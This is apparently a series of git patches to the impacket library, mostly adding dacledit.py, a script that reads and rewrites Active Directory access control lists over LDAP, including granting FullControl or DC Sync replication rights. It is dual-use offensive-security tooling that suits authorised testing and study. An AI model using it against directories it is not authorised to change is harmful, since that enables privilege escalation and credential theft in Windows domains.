ac51a5dbc0..33683ae041 100644 --- a/ChangeLog.md +++ b/ChangeLog.md @@ -12,7 +12,7 @@ https://github.com/fortra/impacket/commits/master 2. Examples improvements * [secretsdump.py](examples/secretsdump.py): - * Double DC Sync performance for DCs supporting SID lookups , (@tomspencer) + * Double DC Sync performance for DCs supporting SID lookups (@tomspencer) * [ticketer.py](examples/ticketer.py): * Support to create Sapphire tickets (@ShutdownRepo) * [GetUserSPNs.py](examples/GetUserSPNs.py), [getTGT.py](examples/getTGT.py): @@ -33,7 +33,7 @@ https://github.com/fortra/impacket/commits/master As always, thanks a lot to all these contributors that make this library better every day (up to now): -@tomspencer @tomspencer @ShutdownRepo @dadevel @gjhami @NtAlexio2 @F-Masood @BlWasp @gabrielg5 @XiaoliChan +@tomspencer @anadrianmanrique @ShutdownRepo @dadevel @gjhami @NtAlexio2 @F-Masood @BlWasp @gabrielg5 @XiaoliChan ## Impacket v0.11.0 (Aug 2023): From cba963280ffee18ca8b98943ac49bf9f59e47bcd Mon Sep 17 00:00:00 2001 From: Alex Romero Date: Thu, 11 Apr 2024 19:04:09 +0330 Subject: [PATCH 23/49] bug fix issue #1675 (#1680) * bugfix #1675 __str__ * bug fix __str__ returns bytes --- impacket/structure.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/impacket/structure.py b/impacket/structure.py index 8b2ba6bc5c..f69e8f5808 100644 --- a/impacket/structure.py +++ b/impacket/structure.py @@ -11,6 +11,8 @@ from __future__ import print_function from struct import pack, unpack, calcsize from six import b, PY3 +from binascii import hexlify + class Structure: """ sublcasses can define commonHdr and/or structure. @@ -160,7 +162,7 @@ def fromString(self, data): data = data[size:] return self - + def __setitem__(self, key, value): self.fields[key] = value self.data = None # force recompute @@ -170,9 +172,9 @@ def __getitem__(self, key): def __delitem__(self, key): del self.fields[key] - + def __str__(self): - return self.getData() + return hexlify(self.getData()) def __len__(self): # XXX: improve From 1bc283fb8520e9f4243fa6db9515f8ad27656ff4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jimmy=20Fj=C3=A4llid?= Date: Thu, 11 Apr 2024 19:27:06 +0200 Subject: [PATCH 24/49] When ntlmrelayx's SOCKS5 proxy server receives an SMB2 Neg Protocol request, respond with the same MessageID as the client used instead of a static value of 1. (#1659) --- impacket/examples/ntlmrelayx/servers/socksplugins/smb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/smb.py b/impacket/examples/ntlmrelayx/servers/socksplugins/smb.py index 372dabab43..b6cf3d8d80 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/smb.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/smb.py @@ -266,7 +266,7 @@ def getNegoAnswer(self, recvPacket): respSMBCommand['DialectRevision'] = SMB2_DIALECT_WILDCARD else: respSMBCommand['DialectRevision'] = self.serverDialect - resp['MessageID'] = 1 + resp['MessageID'] = recvPacket['MessageID'] respSMBCommand['ServerGuid'] = b(''.join([random.choice(string.ascii_letters) for _ in range(16)])) respSMBCommand['Capabilities'] = 0x7 respSMBCommand['MaxTransactSize'] = 65536 From 93136f80617fca07925cd0cc922f84cfce64e635 Mon Sep 17 00:00:00 2001 From: omry99 <43474808+omry99@users.noreply.github.com> Date: Thu, 18 Apr 2024 19:01:38 +0300 Subject: [PATCH 25/49] Added missing dataTypes of SERVICE_TRIGGER_SPECIFIC_DATA_ITEM (#1729) Thanks for the PR --- impacket/dcerpc/v5/scmr.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/impacket/dcerpc/v5/scmr.py b/impacket/dcerpc/v5/scmr.py index 5c7d51202e..8017c84577 100644 --- a/impacket/dcerpc/v5/scmr.py +++ b/impacket/dcerpc/v5/scmr.py @@ -200,8 +200,11 @@ def __str__( self ): USER_POLICY_PRESENT_GUID = '54FB46C8-F089-464C-B1FD-59D1B62C3B50' # SERVICE_TRIGGER_SPECIFIC_DATA_ITEM dataTypes -SERVICE_TRIGGER_DATA_TYPE_BINARY = 0x00000001 -SERVICE_TRIGGER_DATA_TYPE_STRING = 0x00000002 +SERVICE_TRIGGER_DATA_TYPE_BINARY = 0x00000001 +SERVICE_TRIGGER_DATA_TYPE_STRING = 0x00000002 +SERVICE_TRIGGER_DATA_TYPE_LEVEL = 0x00000003 +SERVICE_TRIGGER_DATA_TYPE_KEYWORD_ANY = 0x00000004 +SERVICE_TRIGGER_DATA_TYPE_KEYWORD_ALL = 0x00000005 ################################################################################ # STRUCTURES From ea96b63a77aa3fbe66bd8d47d9b44d620193e2e5 Mon Sep 17 00:00:00 2001 From: adrian manrique <60896207+anadrianmanrique@users.noreply.github.com> Date: Thu, 18 Apr 2024 13:16:33 -0300 Subject: [PATCH 26/49] Update ChangeLog.md --- ChangeLog.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ChangeLog.md b/ChangeLog.md index 33683ae041..58d27ddb3c 100644 --- a/ChangeLog.md +++ b/ChangeLog.md @@ -33,7 +33,7 @@ https://github.com/fortra/impacket/commits/master As always, thanks a lot to all these contributors that make this library better every day (up to now): -@tomspencer @anadrianmanrique @ShutdownRepo @dadevel @gjhami @NtAlexio2 @F-Masood @BlWasp @gabrielg5 @XiaoliChan +@tomspencer @anadrianmanrique @ShutdownRepo @dadevel @gjhami @NtAlexio2 @F-Masood @BlWasp @gabrielg5 @XiaoliChan @omry99 ## Impacket v0.11.0 (Aug 2023): From 65f440774e4ad8882eb61de96f088db6d5526fdf Mon Sep 17 00:00:00 2001 From: Charlie Bromberg <40902872+ShutdownRepo@users.noreply.github.com> Date: Fri, 26 Apr 2024 15:50:25 +0200 Subject: [PATCH 27/49] [dacledit.py] New example script for DACL manipulation (#1291) * Laying ground * adding base for DACL parsing * Read Write and Remove now work partially, GenericAll issue left to deal with * Slightly improved printing and populated GUIDs * Refactored some bits, read/write/remove fully functional * Added backup and restore * Add comments, improve logging and Exception handling corrections * Typo error * Improving restore logic * Adding exception for read filtering * Denied ACE now handled * Fixed Kerberos authentication error. * Fixing incomplete access mask parsing * Fix principal & target arg descriptions * Removing debug code * Fixing and clarifying access masks and descriptions * Clarifying debug message * Description update of dacledit.py * Fixing logic error that was overwriting files * Fixed Logging Output * Add the possibility to specify inheritance in the ACE flag * Explicitly indicating flags instead of hardcoded value * adding log: adminCount=1 will prevent ACE inheritance * Changing ACE mask for WriteMembers as it's not an extended right --------- Co-authored-by: BlWasp Co-authored-by: TahiTi Co-authored-by: synzack --- examples/dacledit.py | 993 +++++++++++++++++++++ impacket/msada_guids.py | 1877 +++++++++++++++++++++++++++++++++++++++ 2 files changed, 2870 insertions(+) create mode 100755 examples/dacledit.py create mode 100644 impacket/msada_guids.py diff --git a/examples/dacledit.py b/examples/dacledit.py new file mode 100755 index 0000000000..b22c470584 --- /dev/null +++ b/examples/dacledit.py @@ -0,0 +1,993 @@ +#!/usr/bin/env python3 +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Python script to read and manage the Discretionary Access Control List of an object +# +# Authors: +# Charlie BROMBERG (@_nwodtuhs) +# Guillaume DAUMAS (@BlWasp_) +# Lucien DOUSTALY (@Wlayzz) +# + +import argparse +import binascii +import codecs +import json +import logging +import os +import sys +import traceback +import datetime + +import ldap3 +import ssl +import ldapdomaindump +from binascii import unhexlify +from enum import Enum +from ldap3.protocol.formatters.formatters import format_sid + +from impacket import version +from impacket.examples import logger, utils +from impacket.ldap import ldaptypes +from impacket.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS +from impacket.smbconnection import SMBConnection +from impacket.spnego import SPNEGO_NegTokenInit, TypesMech +from ldap3.utils.conv import escape_filter_chars +from ldap3.protocol.microsoft import security_descriptor_control +from impacket.uuid import string_to_bin, bin_to_string + +OBJECT_TYPES_GUID = {} +OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS) +OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS) + +# Universal SIDs +WELL_KNOWN_SIDS = { + 'S-1-0': 'Null Authority', + 'S-1-0-0': 'Nobody', + 'S-1-1': 'World Authority', + 'S-1-1-0': 'Everyone', + 'S-1-2': 'Local Authority', + 'S-1-2-0': 'Local', + 'S-1-2-1': 'Console Logon', + 'S-1-3': 'Creator Authority', + 'S-1-3-0': 'Creator Owner', + 'S-1-3-1': 'Creator Group', + 'S-1-3-2': 'Creator Owner Server', + 'S-1-3-3': 'Creator Group Server', + 'S-1-3-4': 'Owner Rights', + 'S-1-5-80-0': 'All Services', + 'S-1-4': 'Non-unique Authority', + 'S-1-5': 'NT Authority', + 'S-1-5-1': 'Dialup', + 'S-1-5-2': 'Network', + 'S-1-5-3': 'Batch', + 'S-1-5-4': 'Interactive', + 'S-1-5-6': 'Service', + 'S-1-5-7': 'Anonymous', + 'S-1-5-8': 'Proxy', + 'S-1-5-9': 'Enterprise Domain Controllers', + 'S-1-5-10': 'Principal Self', + 'S-1-5-11': 'Authenticated Users', + 'S-1-5-12': 'Restricted Code', + 'S-1-5-13': 'Terminal Server Users', + 'S-1-5-14': 'Remote Interactive Logon', + 'S-1-5-15': 'This Organization', + 'S-1-5-17': 'This Organization', + 'S-1-5-18': 'Local System', + 'S-1-5-19': 'NT Authority', + 'S-1-5-20': 'NT Authority', + 'S-1-5-32-544': 'Administrators', + 'S-1-5-32-545': 'Users', + 'S-1-5-32-546': 'Guests', + 'S-1-5-32-547': 'Power Users', + 'S-1-5-32-548': 'Account Operators', + 'S-1-5-32-549': 'Server Operators', + 'S-1-5-32-550': 'Print Operators', + 'S-1-5-32-551': 'Backup Operators', + 'S-1-5-32-552': 'Replicators', + 'S-1-5-64-10': 'NTLM Authentication', + 'S-1-5-64-14': 'SChannel Authentication', + 'S-1-5-64-21': 'Digest Authority', + 'S-1-5-80': 'NT Service', + 'S-1-5-83-0': 'NT VIRTUAL MACHINE\Virtual Machines', + 'S-1-16-0': 'Untrusted Mandatory Level', + 'S-1-16-4096': 'Low Mandatory Level', + 'S-1-16-8192': 'Medium Mandatory Level', + 'S-1-16-8448': 'Medium Plus Mandatory Level', + 'S-1-16-12288': 'High Mandatory Level', + 'S-1-16-16384': 'System Mandatory Level', + 'S-1-16-20480': 'Protected Process Mandatory Level', + 'S-1-16-28672': 'Secure Process Mandatory Level', + 'S-1-5-32-554': 'BUILTIN\Pre-Windows 2000 Compatible Access', + 'S-1-5-32-555': 'BUILTIN\Remote Desktop Users', + 'S-1-5-32-557': 'BUILTIN\Incoming Forest Trust Builders', + 'S-1-5-32-556': 'BUILTIN\\Network Configuration Operators', + 'S-1-5-32-558': 'BUILTIN\Performance Monitor Users', + 'S-1-5-32-559': 'BUILTIN\Performance Log Users', + 'S-1-5-32-560': 'BUILTIN\Windows Authorization Access Group', + 'S-1-5-32-561': 'BUILTIN\Terminal Server License Servers', + 'S-1-5-32-562': 'BUILTIN\Distributed COM Users', + 'S-1-5-32-569': 'BUILTIN\Cryptographic Operators', + 'S-1-5-32-573': 'BUILTIN\Event Log Readers', + 'S-1-5-32-574': 'BUILTIN\Certificate Service DCOM Access', + 'S-1-5-32-575': 'BUILTIN\RDS Remote Access Servers', + 'S-1-5-32-576': 'BUILTIN\RDS Endpoint Servers', + 'S-1-5-32-577': 'BUILTIN\RDS Management Servers', + 'S-1-5-32-578': 'BUILTIN\Hyper-V Administrators', + 'S-1-5-32-579': 'BUILTIN\Access Control Assistance Operators', + 'S-1-5-32-580': 'BUILTIN\Remote Management Users', +} + + +# GUID rights enum +# GUID thats permits to identify extended rights in an ACE +# https://docs.microsoft.com/en-us/windows/win32/adschema/a-rightsguid +class RIGHTS_GUID(Enum): + WriteMembers = "bf9679c0-0de6-11d0-a285-00aa003049e2" + ResetPassword = "00299570-246d-11d0-a768-00aa006e0529" + DS_Replication_Get_Changes = "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" + DS_Replication_Get_Changes_All = "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" + + +# ACE flags enum +# New ACE at the end of SACL for inheritance and access return system-audit +# https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-addauditaccessobjectace +class ACE_FLAGS(Enum): + CONTAINER_INHERIT_ACE = ldaptypes.ACE.CONTAINER_INHERIT_ACE + FAILED_ACCESS_ACE_FLAG = ldaptypes.ACE.FAILED_ACCESS_ACE_FLAG + INHERIT_ONLY_ACE = ldaptypes.ACE.INHERIT_ONLY_ACE + INHERITED_ACE = ldaptypes.ACE.INHERITED_ACE + NO_PROPAGATE_INHERIT_ACE = ldaptypes.ACE.NO_PROPAGATE_INHERIT_ACE + OBJECT_INHERIT_ACE = ldaptypes.ACE.OBJECT_INHERIT_ACE + SUCCESSFUL_ACCESS_ACE_FLAG = ldaptypes.ACE.SUCCESSFUL_ACCESS_ACE_FLAG + + +# ACE flags enum +# For an ACE, flags that indicate if the ObjectType and the InheritedObjecType are set with a GUID +# Since these two flags are the same for Allowed and Denied access, the same class will be used from 'ldaptypes' +# https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-access_allowed_object_ace +class OBJECT_ACE_FLAGS(Enum): + ACE_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT + ACE_INHERITED_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT + + +# Access Mask enum +# Access mask permits to encode principal's rights to an object. This is the rights the principal behind the specified SID has +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b +# https://docs.microsoft.com/en-us/windows/win32/api/iads/ne-iads-ads_rights_enum?redirectedfrom=MSDN +class ACCESS_MASK(Enum): + # Generic Rights + GenericRead = 0x80000000 # ADS_RIGHT_GENERIC_READ + GenericWrite = 0x40000000 # ADS_RIGHT_GENERIC_WRITE + GenericExecute = 0x20000000 # ADS_RIGHT_GENERIC_EXECUTE + GenericAll = 0x10000000 # ADS_RIGHT_GENERIC_ALL + + # Maximum Allowed access type + MaximumAllowed = 0x02000000 + + # Access System Acl access type + AccessSystemSecurity = 0x01000000 # ADS_RIGHT_ACCESS_SYSTEM_SECURITY + + # Standard access types + Synchronize = 0x00100000 # ADS_RIGHT_SYNCHRONIZE + WriteOwner = 0x00080000 # ADS_RIGHT_WRITE_OWNER + WriteDACL = 0x00040000 # ADS_RIGHT_WRITE_DAC + ReadControl = 0x00020000 # ADS_RIGHT_READ_CONTROL + Delete = 0x00010000 # ADS_RIGHT_DELETE + + # Specific rights + AllExtendedRights = 0x00000100 # ADS_RIGHT_DS_CONTROL_ACCESS + ListObject = 0x00000080 # ADS_RIGHT_DS_LIST_OBJECT + DeleteTree = 0x00000040 # ADS_RIGHT_DS_DELETE_TREE + WriteProperties = 0x00000020 # ADS_RIGHT_DS_WRITE_PROP + ReadProperties = 0x00000010 # ADS_RIGHT_DS_READ_PROP + Self = 0x00000008 # ADS_RIGHT_DS_SELF + ListChildObjects = 0x00000004 # ADS_RIGHT_ACTRL_DS_LIST + DeleteChild = 0x00000002 # ADS_RIGHT_DS_DELETE_CHILD + CreateChild = 0x00000001 # ADS_RIGHT_DS_CREATE_CHILD + + +# Simple permissions enum +# Simple permissions are combinaisons of extended permissions +# https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc783530(v=ws.10)?redirectedfrom=MSDN +class SIMPLE_PERMISSIONS(Enum): + FullControl = 0xf01ff + Modify = 0x0301bf + ReadAndExecute = 0x0200a9 + ReadAndWrite = 0x02019f + Read = 0x20094 + Write = 0x200bc + + +# Mask ObjectType field enum +# Possible values for the Mask field in object-specific ACE (permitting to specify extended rights in the ObjectType field for example) +# Since these flags are the same for Allowed and Denied access, the same class will be used from 'ldaptypes' +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/c79a383c-2b3f-4655-abe7-dcbb7ce0cfbe +class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum): + ControlAccess = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS + CreateChild = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD + DeleteChild = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_DELETE_CHILD + ReadProperty = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_READ_PROP + WriteProperty = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP + Self = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF + + +class DACLedit(object): + """docstring for setrbcd""" + + def __init__(self, ldap_server, ldap_session, args): + super(DACLedit, self).__init__() + self.ldap_server = ldap_server + self.ldap_session = ldap_session + + self.target_sAMAccountName = args.target_sAMAccountName + self.target_SID = args.target_SID + self.target_DN = args.target_DN + + self.principal_sAMAccountName = args.principal_sAMAccountName + self.principal_SID = args.principal_SID + self.principal_DN = args.principal_DN + + self.ace_type = args.ace_type + self.rights = args.rights + self.rights_guid = args.rights_guid + self.filename = args.filename + self.inheritance = args.inheritance + if self.inheritance: + logging.info("NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU") + + logging.debug('Initializing domainDumper()') + cnf = ldapdomaindump.domainDumpConfig() + cnf.basepath = None + self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) + + if self.target_sAMAccountName or self.target_SID or self.target_DN: + # Searching for target account with its security descriptor + self.search_target_principal_security_descriptor() + # Extract security descriptor data + self.principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0] + self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor) + + # Searching for the principal SID if any principal argument was given and principal_SID wasn't + if self.principal_SID is None and self.principal_sAMAccountName is not None or self.principal_DN is not None: + _lookedup_principal = "" + if self.principal_sAMAccountName is not None: + _lookedup_principal = self.principal_sAMAccountName + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['objectSid']) + elif self.principal_DN is not None: + _lookedup_principal = self.principal_DN + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['objectSid']) + try: + self.principal_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + logging.debug("Found principal SID: %s" % self.principal_SID) + except IndexError: + logging.error('Principal SID not found in LDAP (%s)' % _lookedup_principal) + exit(1) + + + # Main read funtion + # Prints the parsed DACL + def read(self): + parsed_dacl = self.parseDACL(self.principal_security_descriptor['Dacl']) + self.printparsedDACL(parsed_dacl) + return + + + # Main write function + # Attempts to add a new ACE to a DACL + def write(self): + # Creates ACEs with the specified GUIDs and the SID, or FullControl if no GUID is specified + # Append the ACEs in the DACL locally + if self.rights == "FullControl" and self.rights_guid is None: + logging.debug("Appending ACE (%s --(FullControl)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) + self.principal_security_descriptor['Dacl'].aces.append(self.create_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID, self.ace_type)) + else: + for rights_guid in self.build_guids_for_rights(): + logging.debug("Appending ACE (%s --(%s)--> %s)" % (self.principal_SID, rights_guid, format_sid(self.target_SID))) + self.principal_security_descriptor['Dacl'].aces.append(self.create_object_ace(rights_guid, self.principal_SID, self.ace_type)) + # Backups current DACL before add the new one + self.backup() + # Effectively push the DACL with the new ACE + self.modify_secDesc_for_dn(self.target_principal.entry_dn, self.principal_security_descriptor) + return + + + # Attempts to remove an ACE from the DACL + # To do it, a new DACL is built locally with all the ACEs that must NOT BE removed, and this new DACL is pushed on the server + def remove(self): + compare_aces = [] + # Creates ACEs with the specified GUIDs and the SID, or FullControl if no GUID is specified + # These ACEs will be used as comparison templates + if self.rights == "FullControl" and self.rights_guid is None: + compare_aces.append(self.create_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID, self.ace_type)) + else: + for rights_guid in self.build_guids_for_rights(): + compare_aces.append(self.create_object_ace(rights_guid, self.principal_SID, self.ace_type)) + new_dacl = [] + i = 0 + dacl_must_be_replaced = False + for ace in self.principal_security_descriptor['Dacl'].aces: + ace_must_be_removed = False + for compare_ace in compare_aces: + # To be sure the good ACEs are removed, multiple fields are compared between the templates and the ACEs in the DACL + # - ACE type + # - ACE flags + # - Access masks + # - Revision + # - SubAuthorityCount + # - SubAuthority + # - IdentifierAuthority value + if ace['AceType'] == compare_ace['AceType'] \ + and ace['AceFlags'] == compare_ace['AceFlags']\ + and ace['Ace']['Mask']['Mask'] == compare_ace['Ace']['Mask']['Mask']\ + and ace['Ace']['Sid']['Revision'] == compare_ace['Ace']['Sid']['Revision']\ + and ace['Ace']['Sid']['SubAuthorityCount'] == compare_ace['Ace']['Sid']['SubAuthorityCount']\ + and ace['Ace']['Sid']['SubAuthority'] == compare_ace['Ace']['Sid']['SubAuthority']\ + and ace['Ace']['Sid']['IdentifierAuthority']['Value'] == compare_ace['Ace']['Sid']['IdentifierAuthority']['Value']: + # If the ACE has an ObjectType, the GUIDs must match + if 'ObjectType' in ace['Ace'].fields.keys() and 'ObjectType' in compare_ace['Ace'].fields.keys(): + if ace['Ace']['ObjectType'] == compare_ace['Ace']['ObjectType']: + ace_must_be_removed = True + dacl_must_be_replaced = True + else: + ace_must_be_removed = True + dacl_must_be_replaced = True + # If the ACE doesn't match any ACEs from the template list, it is added to the DACL that will be pushed + if not ace_must_be_removed: + new_dacl.append(ace) + elif logging.getLogger().level == logging.DEBUG: + logging.debug("This ACE will be removed") + self.printparsedACE(self.parseACE(ace)) + i += 1 + # If at least one ACE must been removed + if dacl_must_be_replaced: + self.principal_security_descriptor['Dacl'].aces = new_dacl + self.backup() + self.modify_secDesc_for_dn(self.target_principal.entry_dn, self.principal_security_descriptor) + else: + logging.info("Nothing to remove...") + + + # Permits to backup a DACL before a modification + # This function is called before any writing action (write, remove or restore) + def backup(self): + backup = {} + backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode('utf-8') + backup["dn"] = self.target_principal.entry_dn + if not self.filename: + self.filename = 'dacledit-%s.bak' % datetime.datetime.now().strftime("%Y%m%d-%H%M%S") + else: + if os.path.exists(self.filename): + logging.info("File %s already exists, I'm refusing to overwrite it, setting another filename" % self.filename) + self.filename = 'dacledit-%s.bak' % datetime.datetime.now().strftime("%Y%m%d-%H%M%S") + with codecs.open(self.filename, 'w', 'utf-8') as outfile: + json.dump(backup, outfile) + logging.info('DACL backed up to %s', self.filename) + + + # Permits to restore a saved DACL + def restore(self): + # Opens and load the file where the DACL has been saved + with codecs.open(self.filename, 'r', 'utf-8') as infile: + restore = json.load(infile) + assert "sd" in restore.keys() + assert "dn" in restore.keys() + # Extracts the Security Descriptor and converts it to the good ldaptypes format + new_raw_security_descriptor = binascii.unhexlify(restore["sd"].encode('utf-8')) + new_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=new_raw_security_descriptor) + + self.target_DN = restore["dn"] + # Searching for target account with its security descriptor + self.search_target_principal_security_descriptor() + # Extract security descriptor data + self.principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0] + self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor) + + # Do a backup of the actual DACL and push the restoration + self.backup() + logging.info('Restoring DACL') + self.modify_secDesc_for_dn(self.target_DN, new_security_descriptor) + + # Attempts to retrieve the DACL in the Security Descriptor of the specified target + def search_target_principal_security_descriptor(self): + _lookedup_principal = "" + # Set SD flags to only query for DACL + controls = security_descriptor_control(sdflags=0x04) + if self.target_sAMAccountName is not None: + _lookedup_principal = self.target_sAMAccountName + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['nTSecurityDescriptor'], controls=controls) + elif self.target_SID is not None: + _lookedup_principal = self.target_SID + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) + elif self.target_DN is not None: + _lookedup_principal = self.target_DN + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) + try: + self.target_principal = self.ldap_session.entries[0] + logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal) + except IndexError: + logging.error('Target principal not found in LDAP (%s)' % _lookedup_principal) + exit(0) + + + # Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName + # Not used for the moment + # - samname : a sAMAccountName + def get_user_info(self, samname): + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) + try: + dn = self.ldap_session.entries[0].entry_dn + sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + return dn, sid + except IndexError: + logging.error('User not found in LDAP: %s' % samname) + return False + + + # Attempts to resolve a SID and return the corresponding samaccountname + # - sid : the SID to resolve + def resolveSID(self, sid): + # Tries to resolve the SID from the well known SIDs + if sid in WELL_KNOWN_SIDS.keys(): + return WELL_KNOWN_SIDS[sid] + # Tries to resolve the SID from the LDAP domain dump + else: + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % sid, attributes=['samaccountname']) + try: + dn = self.ldap_session.entries[0].entry_dn + samname = self.ldap_session.entries[0]['samaccountname'] + return samname + except IndexError: + logging.debug('SID not found in LDAP: %s' % sid) + return "" + + + # Parses a full DACL + # - dacl : the DACL to parse, submitted in a Security Desciptor format + def parseDACL(self, dacl): + parsed_dacl = [] + logging.info("Parsing DACL") + i = 0 + for ace in dacl['Data']: + parsed_ace = self.parseACE(ace) + parsed_dacl.append(parsed_ace) + i += 1 + return parsed_dacl + + + # Parses an access mask to extract the different values from a simple permission + # https://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights + # - fsr : the access mask to parse + def parsePerms(self, fsr): + _perms = [] + for PERM in SIMPLE_PERMISSIONS: + if (fsr & PERM.value) == PERM.value: + _perms.append(PERM.name) + fsr = fsr & (not PERM.value) + for PERM in ACCESS_MASK: + if fsr & PERM.value: + _perms.append(PERM.name) + return _perms + + + # Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType) + # - ace : the ACE to parse + def parseACE(self, ace): + # For the moment, only the Allowed and Denied Access ACE are supported + if ace['TypeName'] in [ "ACCESS_ALLOWED_ACE", "ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_ACE", "ACCESS_DENIED_OBJECT_ACE" ]: + parsed_ace = {} + parsed_ace['ACE Type'] = ace['TypeName'] + # Retrieves ACE's flags + _ace_flags = [] + for FLAG in ACE_FLAGS: + if ace.hasFlag(FLAG.value): + _ace_flags.append(FLAG.name) + parsed_ace['ACE flags'] = ", ".join(_ace_flags) or "None" + + # For standard ACE + # Extracts the access mask (by parsing the simple permissions) and the principal's SID + if ace['TypeName'] in [ "ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE" ]: + parsed_ace['Access mask'] = "%s (0x%x)" % (", ".join(self.parsePerms(ace['Ace']['Mask']['Mask'])), ace['Ace']['Mask']['Mask']) + parsed_ace['Trustee (SID)'] = "%s (%s)" % (self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", ace['Ace']['Sid'].formatCanonical()) + + # For object-specific ACE + elif ace['TypeName'] in [ "ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_OBJECT_ACE" ]: + # Extracts the mask values. These values will indicate the ObjectType purpose + _access_mask_flags = [] + for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS: + if ace['Ace']['Mask'].hasPriv(FLAG.value): + _access_mask_flags.append(FLAG.name) + parsed_ace['Access mask'] = ", ".join(_access_mask_flags) + # Extracts the ACE flag values and the trusted SID + _object_flags = [] + for FLAG in OBJECT_ACE_FLAGS: + if ace['Ace'].hasFlag(FLAG.value): + _object_flags.append(FLAG.name) + parsed_ace['Flags'] = ", ".join(_object_flags) or "None" + # Extracts the ObjectType GUID values + if ace['Ace']['ObjectTypeLen'] != 0: + obj_type = bin_to_string(ace['Ace']['ObjectType']).lower() + try: + parsed_ace['Object type (GUID)'] = "%s (%s)" % (OBJECT_TYPES_GUID[obj_type], obj_type) + except KeyError: + parsed_ace['Object type (GUID)'] = "UNKNOWN (%s)" % obj_type + # Extracts the InheritedObjectType GUID values + if ace['Ace']['InheritedObjectTypeLen'] != 0: + inh_obj_type = bin_to_string(ace['Ace']['InheritedObjectType']).lower() + try: + parsed_ace['Inherited type (GUID)'] = "%s (%s)" % (OBJECT_TYPES_GUID[inh_obj_type], inh_obj_type) + except KeyError: + parsed_ace['Inherited type (GUID)'] = "UNKNOWN (%s)" % inh_obj_type + # Extract the Trustee SID (the object that has the right over the DACL bearer) + parsed_ace['Trustee (SID)'] = "%s (%s)" % (self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", ace['Ace']['Sid'].formatCanonical()) + + else: + # If the ACE is not an access allowed + logging.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace['TypeName']) + parsed_ace = {} + parsed_ace['ACE type'] = ace['TypeName'] + _ace_flags = [] + for FLAG in ACE_FLAGS: + if ace.hasFlag(FLAG.value): + 